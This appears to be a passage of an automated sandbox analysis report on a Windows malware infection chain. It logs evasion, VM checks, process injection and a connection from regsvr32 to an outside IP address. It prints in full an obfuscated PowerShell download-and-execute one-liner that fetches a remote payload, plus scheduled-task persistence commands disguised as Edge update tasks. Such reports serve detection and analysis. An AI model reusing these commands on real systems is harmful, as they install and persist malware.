Source: C:\Users\Public\ajbs50ul.bat

API coverage: 1.4 %

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7504	Thread sleep count: 4309 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7508	Thread sleep count: 5548 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7588	Thread sleep time: -16602069666338586s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7760	Thread sleep count: 6255 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7748	Thread sleep count: 3454 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7832	Thread sleep time: -6456360425798339s >= -30000s	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe TID: 8132	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\utox_x86_x64.exe TID: 7984	Thread sleep time: -773200s >= -30000s	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe TID: 1952	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1796	Thread sleep count: 7300 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7520	Thread sleep count: 2397 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7396	Thread sleep time: -6456360425798339s >= -30000s
Source: C:\Windows\System32\regsvr32.exe TID: 3184	Thread sleep time: -30000s >= -30000s
Source: C:\Windows\System32\regsvr32.exe TID: 2024	Thread sleep count: 9751 > 30
Source: C:\Windows\System32\regsvr32.exe TID: 2016	Thread sleep time: -24903104499507879s >= -30000s
Source: C:\Windows\System32\regsvr32.exe TID: 1832	Thread sleep count: 109 > 30

Source: C:\Windows\System32\OpenWith.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Windows\System32\OpenWith.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_Processor

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Windows\System32\regsvr32.exe

File Volume queried: C:\ FullSizeInformation

Source: C:\Users\Public\ajbs50ul.bat

Code function: 4_2_00007FF7177540F0 memcpy,memcpy,memset,FindFirstFileW,memcpy,GetLastError,FindClose,GetLastError,

4_2_00007FF7177540F0

Source: C:\Program Files\Windows Media Player\wmpshare.exe

Code function: 14_2_0000023D20D022D0 GetSystemInfo,VirtualAlloc,

14_2_0000023D20D022D0

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\regsvr32.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\Default\AppData	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\Default	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\Default\AppData\Local\Microsoft\InputPersonalization\TrainedDataStore	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\Default\AppData\Local\Microsoft\InputPersonalization	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\Default\AppData\Local	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	File opened: C:\Users\Default\AppData\Local\Microsoft	Jump to behavior

Source: powershell.exe, 00000003.00000002.1598016923.000001CB636B9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: War&Prod_VMware_p
Source: OpenWith.exe, 0000000C.00000003.1670918605.0000022BF7A28000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SCSI#Disk&Ven_VMware&Prod_Virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}SymbolicLinkymbolicLinkcLinkSymbolicLink
Source: powershell.exe, 00000003.00000002.1598016923.000001CB63660000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll<5~
Source: powershell.exe, 00000005.00000002.1483066316.000002745C638000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Remove-NetEventVmNetworkAdapter
Source: OpenWith.exe, 0000000C.00000003.1670918605.0000022BF7A28000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}SymbolicLinkLinkcLinkSymbolicLink
Source: powershell.exe, 00000005.00000002.1483066316.000002745C638000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Add-NetEventVmNetworkAdapter
Source: regsvr32.exe, 00000008.00000002.1561583400.000000001BF92000.00000040.00001000.00020000.00000000.sdmp	Binary or memory string: qemu&
Source: OpenWith.exe, 0000000C.00000003.1543994680.0000022BF7FA0000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: DisableGuestVmNetworkConnectivity
Source: OpenWith.exe, 0000000C.00000003.1543994680.0000022BF7FA0000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: EnableGuestVmNetworkConnectivity
Source: powershell.exe, 00000005.00000002.1483066316.000002745C638000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Get-NetEventVmNetworkAdapter
Source: utox_x86_x64.exe, 00000009.00000002.2601294216.0000000000CEF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\Public\ajbs50ul.bat

Code function: 4_2_00007FF717752CF0 GetProcessHeap,HeapAlloc,

4_2_00007FF717752CF0

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug			Jump to behavior

Source: C:\Users\Public\ajbs50ul.bat

Code function: 4_2_00007FF717701180 Sleep,Sleep,SetUnhandledExceptionFilter,malloc,strlen,malloc,memcpy,_initterm,

4_2_00007FF717701180

Source: C:\Users\Public\ajbs50ul.bat

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\System32\regsvr32.exe

Network Connect: 185.196.9.174 7777

Yara detected Powershell download and execute

Source: Yara match	File source: amsi64_7456.amsi.csv, type: OTHER
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 7456, type: MEMORYSTR

.NET source code references suspicious native API functions

Source: 8.2.regsvr32.exe.2f73d50.1.raw.unpack, Flutter.cs	Reference to suspicious API methods: VirtualAlloc(IntPtr.Zero, new IntPtr(65536), MEM_COMMIT, 4u)
Source: 8.2.regsvr32.exe.2f73d50.1.raw.unpack, Flutter.cs	Reference to suspicious API methods: Marshal.WriteIntPtr(new IntPtr(intPtr.ToInt64() + num), GetProcAddress(moduleHandle, array[i]))
Source: 8.2.regsvr32.exe.2f73d50.1.raw.unpack, Flutter.cs	Reference to suspicious API methods: VirtualProtect(intPtr, 65536u, 64u, out var _)

Allocates memory in foreign processes

Source: C:\Program Files\Windows Media Player\wmpshare.exe

Memory allocated: C:\Windows\System32\dllhost.exe base: 1E879D80000 protect: page read and write

Found direct / indirect Syscall (likely to bypass EDR)

Source: C:\Users\Public\ajbs50ul.bat

NtWriteFile: Indirect: 0x7FF717757076

Jump to behavior

Sets debug register (to hijack the execution of another thread)

Source: C:\Windows\System32\regsvr32.exe

Thread register set: 7908 5

Jump to behavior

Writes to foreign memory regions

Source: C:\Program Files\Windows Media Player\wmpshare.exe	Memory written: C:\Windows\System32\dllhost.exe base: 1E879D80000
Source: C:\Program Files\Windows Media Player\wmpshare.exe	Memory written: C:\Windows\System32\dllhost.exe base: 7FF733CD14E0

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe p""ow""er""s""h""ell /""W 0""1 $jufn='i'+'e'+''+'X';s""al bx1g $jufn;$ajbs50ul=bx1g(bx1g($($('(new-objecwxwl syswxwlem.newxwl.webc""lienwxwl).Dowgdvitring(''hv7i91h982d.bp24mostakp24.spacp24/tp24st.txt''.Replace(''v7i9'',''ttps://'').Replace(''p24'', ''e''))').Replace('wxwl', 't').Replace('gdvi', 'nloadS'))));exit	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\Public\ajbs50ul.bat "C:\Users\Public\ajbs50ul.bat"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\Desktop\utox_x86_x64.exe "C:\Users\user\Desktop\utox_x86_x64.exe"	Jump to behavior
Source: C:\Users\Public\ajbs50ul.bat	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" "Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute \"regsvr32\" -Argument \"/s /i:INSTALL C:\Users\user\AppData/Roaming/miEk.ini\") -Trigger (New-ScheduledTaskTrigger -Once -At (Get-Date).AddMinutes(1) -RepetitionInterval (New-TimeSpan -Minutes 1)) -TaskName 'MicrosoftEdgeUpdateTaskMachineUA{808CCC00-48CC-4040-C488-C044888CCCC0}' -Description 'Default' -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries)"	Jump to behavior
Source: C:\Users\Public\ajbs50ul.bat	Process created: C:\Windows\System32\regsvr32.exe "regsvr32" /s /i:INSTALL C:\Users\user\AppData/Roaming/miEk.ini	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\System32\OpenWith.exe "C:\Windows\system32\openwith.exe"	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Process created: C:\Program Files\Windows Media Player\wmpshare.exe "C:\Program Files\Windows Media Player\wmpshare.exe"	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Process created: C:\Windows\System32\rekeywiz.exe "C:\Windows\system32\rekeywiz.exe"	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Process created: C:\Windows\System32\rekeywiz.exe "C:\Windows\system32\rekeywiz.exe"	Jump to behavior
Source: C:\Program Files\Windows Media Player\wmpshare.exe	Process created: C:\Windows\System32\dllhost.exe "C:\Windows\system32\dllhost.exe"
Source: C:\Windows\System32\rekeywiz.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" "Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute \"regsvr32\" -Argument \"/s /i:INSTALL C:\Users\user\AppData/Roaming/u0ow.ini\") -Trigger (New-ScheduledTaskTrigger -Once -At (Get-Date).AddMinutes(1) -RepetitionInterval (New-TimeSpan -Minutes 1)) -TaskName 'MicrosoftEdgeUpdateTaskMachineUA{C88C8848-C040-4888-C800-C800848C4848}' -Description 'Default' -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries)"
Source: C:\Windows\System32\rekeywiz.exe	Process created: C:\Windows\System32\regsvr32.exe "regsvr32" /s /i:INSTALL C:\Users\user\AppData/Roaming/u0ow.ini

Source: unknown	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c p""ow""er""s""h""ell/""w 0""1 $jufn='i'+'e'+''+'x';s""al bx1g $jufn;$ajbs50ul=bx1g(bx1g($($('(new-objecwxwl syswxwlem.newxwl.webc""lienwxwl).dowgdvitring(''hv7i91h982d.bp24mostakp24.spacp24/tp24st.txt''.replace(''v7i9'',''ttps://'').replace(''p24'', ''e''))').replace('wxwl', 't').replace('gdvi', 'nloads'))));exit
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe p""ow""er""s""h""ell /""w 0""1 $jufn='i'+'e'+''+'x';s""al bx1g $jufn;$ajbs50ul=bx1g(bx1g($($('(new-objecwxwl syswxwlem.newxwl.webc""lienwxwl).dowgdvitring(''hv7i91h982d.bp24mostakp24.spacp24/tp24st.txt''.replace(''v7i9'',''ttps://'').replace(''p24'', ''e''))').replace('wxwl', 't').replace('gdvi', 'nloads'))));exit
Source: C:\Users\Public\ajbs50ul.bat	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" "register-scheduledtask -action (new-scheduledtaskaction -execute \"regsvr32\" -argument \"/s /i:install c:\users\user\appdata/roaming/miek.ini\") -trigger (new-scheduledtasktrigger -once -at (get-date).addminutes(1) -repetitioninterval (new-timespan -minutes 1)) -taskname 'microsoftedgeupdatetaskmachineua{808ccc00-48cc-4040-c488-c044888cccc0}' -description 'default' -settings (new-scheduledtasksettingsset -allowstartifonbatteries -dontstopifgoingonbatteries)"
Source: C:\Windows\System32\rekeywiz.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" "register-scheduledtask -action (new-scheduledtaskaction -execute \"regsvr32\" -argument \"/s /i:install c:\users\user\appdata/roaming/u0ow.ini\") -trigger (new-scheduledtasktrigger -once -at (get-date).addminutes(1) -repetitioninterval (new-timespan -minutes 1)) -taskname 'microsoftedgeupdatetaskmachineua{c88c8848-c040-4888-c800-c800848c4848}' -description 'default' -settings (new-scheduledtasksettingsset -allowstartifonbatteries -dontstopifgoingonbatteries)"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe p""ow""er""s""h""ell /""w 0""1 $jufn='i'+'e'+''+'x';s""al bx1g $jufn;$ajbs50ul=bx1g(bx1g($($('(new-objecwxwl syswxwlem.newxwl.webc""lienwxwl).dowgdvitring(''hv7i91h982d.bp24mostakp24.spacp24/tp24st.txt''.replace(''v7i9'',''ttps://'').replace(''p24'', ''e''))').replace('wxwl', 't').replace('gdvi', 'nloads'))));exit	Jump to behavior
Source: C:\Users\Public\ajbs50ul.bat	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" "register-scheduledtask -action (new-scheduledtaskaction -execute \"regsvr32\" -argument \"/s /i:install c:\users\user\appdata/roaming/miek.ini\") -trigger (new-scheduledtasktrigger -once -at (get-date).addminutes(1) -repetitioninterval (new-timespan -minutes 1)) -taskname 'microsoftedgeupdatetaskmachineua{808ccc00-48cc-4040-c488-c044888cccc0}' -description 'default' -settings (new-scheduledtasksettingsset -allowstartifonbatteries -dontstopifgoingonbatteries)"	Jump to behavior
Source: C:\Windows\System32\rekeywiz.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" "register-scheduledtask -action (new-scheduledtaskaction -execute \"regsvr32\" -argument \"/s /i:install c:\users\user\appdata/roaming/u0ow.ini\") -trigger (new-scheduledtasktrigger -once -at (get-date).addminutes(1) -repetitioninterval (new-timespan -minutes 1)) -taskname 'microsoftedgeupdatetaskmachineua{c88c8848-c040-4888-c800-c800848c4848}' -description 'default' -settings (new-scheduledtasksettingsset -allowstartifonbatteries -dontstopifgoingonbatteries)"

Source: C:\Windows\System32\OpenWith.exe

Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft.PowerShell.LocalAccounts\1.0.0.0\Microsoft.PowerShell.LocalAccounts.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
